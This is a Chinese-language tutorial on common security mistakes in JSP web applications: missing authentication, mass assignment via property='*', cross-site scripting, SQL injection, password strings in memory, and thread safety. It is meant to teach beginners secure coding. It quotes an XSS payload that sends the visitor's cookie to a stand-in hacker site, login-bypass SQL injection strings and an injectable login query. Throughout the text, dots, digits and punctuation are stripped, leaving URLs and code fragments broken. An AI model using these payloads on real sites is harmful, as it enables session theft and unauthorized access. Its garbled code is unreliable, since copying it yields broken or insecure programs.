Java Server Page(JSP)作為建立動態網頁的技術正在不斷升溫JSP和ASPPHP工作機制不太一樣一般說來JSP頁面在執行時是編譯式而不是解釋式的首次調用JSP文件其實是執行一個編譯為Servlet的過程
當浏覽器向服務器請求這一個JSP文件的時候服務器將檢查自上次編譯後JSP文件是否有改變如果沒有改變就直接執行Servlet而不用再重新編譯這樣效率便得到了明顯提高
今天我將和大家一起從腳本編程的角度看JSP的安全那些諸如源碼暴露類的安全隱患就不在這篇文章討論范圍之內了寫這篇文章的主要目的是給初學JSP編程的朋友們提個醒從一開始就要培養安全編程的意識不要犯不該犯的錯誤避免可以避免的損失
一認證不嚴 低級失誤
user_managerjsp是用戶管理的頁面作者知道它的敏感性加上了一把鎖
if ((sessiongetValue("UserName")==null)││(sessiongetValue("UserClass")==null)││(! sessiongetValue("Us
erClass")equals("系統管理員"))) { responsesendRedirect("errjsp?id="); return; }
如果要查看修改某用戶的信息就要用modifyuser_managerjsp這個文件管理員提交
就是查看修改ID為的用戶的資料(管理員默認的用戶ID為)
但是如此重要的文件竟缺乏認證普通用戶(包括游客)也直接提交上述請求也可以對其一覽無余(密碼也是明文存儲顯示的)modifyuser_managejsp同樣是門戶大開直到惡意用戶把數據更新的操作執行完畢重定向到user_managerjsp的時候他才會看見那個姗姗來遲的顯示錯誤的頁面
顯然只鎖一扇門是遠遠不夠的編程的時候一定要不厭其煩地為每一個該加身份認證的地方加上身份認證
二守好JavaBean的入口
JSP組件技術的核心是被稱為bean的java組件在程序中可把邏輯控制數據庫操作放在javabeans組件中然後在JSP文件中調用它這樣可增加程序的清晰度及程序的可重用性和傳統的ASP或PHP頁面相比JSP頁面是非常簡潔的因為許多動態頁面處理過程可以封裝到JavaBean中要改變JavaBean屬性要用到“<jsp:setProperty>”標記
下面的代碼是假想的某電子購物系統的源碼的一部分這個文件是用來顯示用戶的購物框中的信息的而checkoutjsp是用來結帳的
<jsp:useBean id="myBasket" class="BasketBean"> <jsp:setPropertyname="myBasket" property="*"/> <js
p:useBean> <html> <head><title>Your Basket</title></head> <body> <p> You have added th
e item <jsp::getProperty name="myBasket" property="newItem"/> to your basket <br/> Your to
tal is $ <jsp::getProperty name="myBasket" property="balance"/> Proceed to <a href="checkou
tjsp">checkout</a>
注意到property="*"了嗎?這表明用戶在可見的JSP頁面中輸入的或是直接通過Query String提交的全部變量的值將存儲到匹配的bean屬性中一般用戶是這樣提交請求的
但是不守規矩的用戶呢?他們可能會提交
這樣balance=的信息就被在存儲到了JavaBean中了當他們這時點擊“chekout”結賬的時候費用就全免了這與PHP中全局變量導致的安全問題如出一轍由此可見“property="*"”一定要慎用!
三長盛不衰的跨站腳本
跨站腳本(Cross Site Scripting)攻擊是指在遠程WEB頁面的HTML代碼中手插入惡意的JavaScript VBScript ActiveX HTML 或Flash等腳本竊取浏覽此頁面的用戶的隱私改變用戶的設置破壞用戶的數據
跨站腳本攻擊在多數情況下不會對服務器和WEB程序的運行造成影響但對客戶端的安全構成嚴重的威脅舉個最簡單的例子當我們提交
<;script>alert(documentcookie)</script>
便能彈出包含自己cookie信息的對話框而提交
<;script>documentlocation=http://w
wwcom</script>
就能重定向到網易
由於在返回“name”變量的值給客戶端時腳本沒有進行任何編碼或過濾惡意代碼當用戶訪問嵌入惡意“name”變量數據鏈接時會導致腳本代碼在用戶浏覽器上執行可能導致用戶隱私洩露等後果比如下面的鏈接
<;script>documentlocation=http://ww
whackersitecom/xxxxxx?+documentcookie</script>
xxxxxx用於收集後邊跟的參數而這裡參數指定的是documentcookie也就是訪問此鏈接的用戶的cookie在ASP世界中很多人已經把偷cookie的技術練得爐火純青了在JSP裡讀取cookie也不是難事當然跨站腳本從來就不會局限於偷cookie這一項功能相信大家都有一定了解這裡就不展開了
對所有動態頁面的輸入和輸出都應進行編碼可以在很大程度上避免跨站腳本的攻擊遺憾的是對所有不可信數據編碼是資源密集型的工作會對 Web 服務器產生性能方面的影響常用的手段還是進行輸入數據的過濾比如下面的代碼就把危險的字符進行替換
<% String message = requestgetParameter("message"); message = messagereplace (<_); messa
ge = messagereplace (>_); message = messagereplace ("_); message = messagereplace (\_); me
ssage = messagereplace (%_); message = messagereplace (;_); message = messagerepla
ce ((_); message = messagereplace ()_); message = messagereplace (&_); message = me
ssagereplace (+_); %>
更積極的方式是利用正則表達式只允許輸入指定的字符
public boolean isValidInput(String str) { if(strmatches("[az]+")) return true; else return false; }
四時刻牢記SQL注入
一般的編程書籍在教初學者的時候都不注意讓他們從入門時就培養安全編程的習慣著名的《JSP編程思想與實踐》就是這樣向初學者示范編寫帶數據庫的登錄系統的(數據庫為MySQL
Statement stmt = conncreateStatement(); String checkUser = "select * from login where usernam
e =" + userName + " and userpassword = " + userPassword + ""; ResultSet rs = stmtexecuteQ
uery(checkUser); if(rsnext()) responsesendRedirect("SuccessLoginjsp"); else responsesendR
edirect("FailureLoginjsp");
這樣使得盡信書的人長期使用這樣先天“帶洞”的登錄代碼如果數據庫裡存在一個名叫“jack”的用戶那麼在不知道密碼的情況下至少有下面幾種方法可以登錄
用戶名jack 密碼 or a=a 用戶名jack 密碼 or =/* 用戶名jack or =/* 密碼(任意) lybbs(論
壇)ver
Server在LogInOutjava中是這樣對登錄提交的數據進行檢查的
if(sequals("")││ sequals("")) throw new UserException("用戶名或密碼不能空"); if(sindexOf("") != ││ sind
exOf("\"") != ││ sindexOf("") != ││ sindexOf("\\") != ) throw new UserException("用戶名不能
包括 \" \\ 等非法字符"); if(sindexOf("") != ││ sindexOf("\"") != ││ sindexOf("*") != ││ sind
exOf("\\") != ) throw new UserException("密碼不能包括 \" \\ * 等非法字符"); if(sstartsWith(" ") ││ ssta
rtsWith(" ")) throw new UserException("用戶名或密碼中不能用空格");
但是我不清楚為什麼他只對密碼而不對用戶名過濾星號另外正斜槓似乎也應該被列到“黑名單”中我還是認為用正則表達式只允許輸入指定范圍內的字符來得干脆
這裡要提醒一句不要以為可以憑借某些數據庫系統天生的“安全性”就可以有效地抵御所有的攻擊pinkeyes的那篇《PHP注入實例》就給那些依賴PHP的配置文件中的“magic_quotes_gpc = On”的人上了一課
五String對象帶來的隱患
Java平台的確使安全編程更加方便了Java中無指針這意味著Java程序不再像C那樣能對地址空間中的任意內存位置尋址了在JSP文件被編譯成class文件時會被檢查安全性問題例如當訪問超出數組大小的數組元素的嘗試將被拒絕這在很大程度上避免了緩沖區溢出攻擊
但是String對象卻會給我們帶來一些安全上的隱患如果密碼是存儲在 Java String 對象中的則直到對它進行垃圾收集或進程終止之前密碼會一直駐留在內存中即使進行了垃圾收集它仍會存在於空閒內存堆中直到重用該內存空間為止
密碼 String 在內存中駐留得越久遭到竊聽的危險性就越大更糟的是如果實際內存減少則操作系統會將這個密碼 String 換頁調度到磁盤的交換空間因此容易遭受磁盤塊竊聽攻擊為了將這種洩密的可能性降至最低(但不是消除)您應該將密碼存儲在 char 數組中並在使用後對其置零(String 是不可變的無法對其置零)
六線程安全初探
“JAVA能做的JSP就能做”與ASPPHP等腳本語言不一樣JSP默認是以多線程方式執行的以多線程方式執行可大大降低對系統的資源需求提高系統的並發量及響應時間線程在程序中是獨立的並發的執行路徑每個線程有它自己的堆棧自己的程序計數器和自己的局部變量
雖然多線程應用程序中的大多數操作都可以並行進行但也有某些操作(如更新全局標志或處理共享文件)不能並行進行如果沒做好線程的同步在大並發量訪問時不需要惡意用戶的“熱心參與”問題也會出現
最簡單的解決方案就是在相關的JSP文件中加上:
<%@ page isThreadSafe="false" %>
指令使它以單線程方式執行這時所有客戶端的請求以串行方式執行這樣會嚴重降低系統的性能我們可以仍讓JSP文件以多線程方式執行通過對函數上鎖來對線程進行同步一個函數加上synchronized 關鍵字就獲得了一個鎖看下面的示例
public class MyClass{ int a; public Init() {//此方法可以多個線程同時調用 a = ; } public synchronized void Se
t() {//兩個線程不能同時調用此方法 if(a>) { a= a; } } }
但是這樣仍然會對系統的性能有一定影響一個更好的方案是采用局部變量代替實例變量因為實例變量是在堆中分配的被屬於該實例的所有線程共享不是線程安全的而局部變量在堆棧中分配因為每個線程都有它自己的堆棧空間所以這樣線程就是安全的了比如凌雲論壇中添加好友的代碼
public void addFriend(int i String s String s) throws DBConnectException { try { if…… el
se { DBConnect dbconnect = new DBConnect("insert into friend(authoridfriendnam
e) values (??)"); dbconnectsetInt( i); dbconnectsetString( s); dbconnectexecut
eUpdate(); dbconnectclose(); dbconnect = null; } } catch(Exception exception) { thr
ow new DBConnectException(exceptiongetMessage()); } }
下面是調用
friendName=ParameterUtilsgetString(request"friendname"); if(actionequals("adduser")){ forumFri
endaddFriend(IntegerparseInt(cookieID)friendNamecookieName); errorInfo=forumFriendgetErrorInfo(); }
如果采用的是實例變量那麼該實例變量屬於該實例的所有線程共享就有可能出現用戶A傳遞了某個參數後他的線程轉為睡眠狀態而參數被用戶B無意間修改造成好友錯配的現象
From:http://tw.wingwit.com/Article/program/Java/JSP/201311/20404.html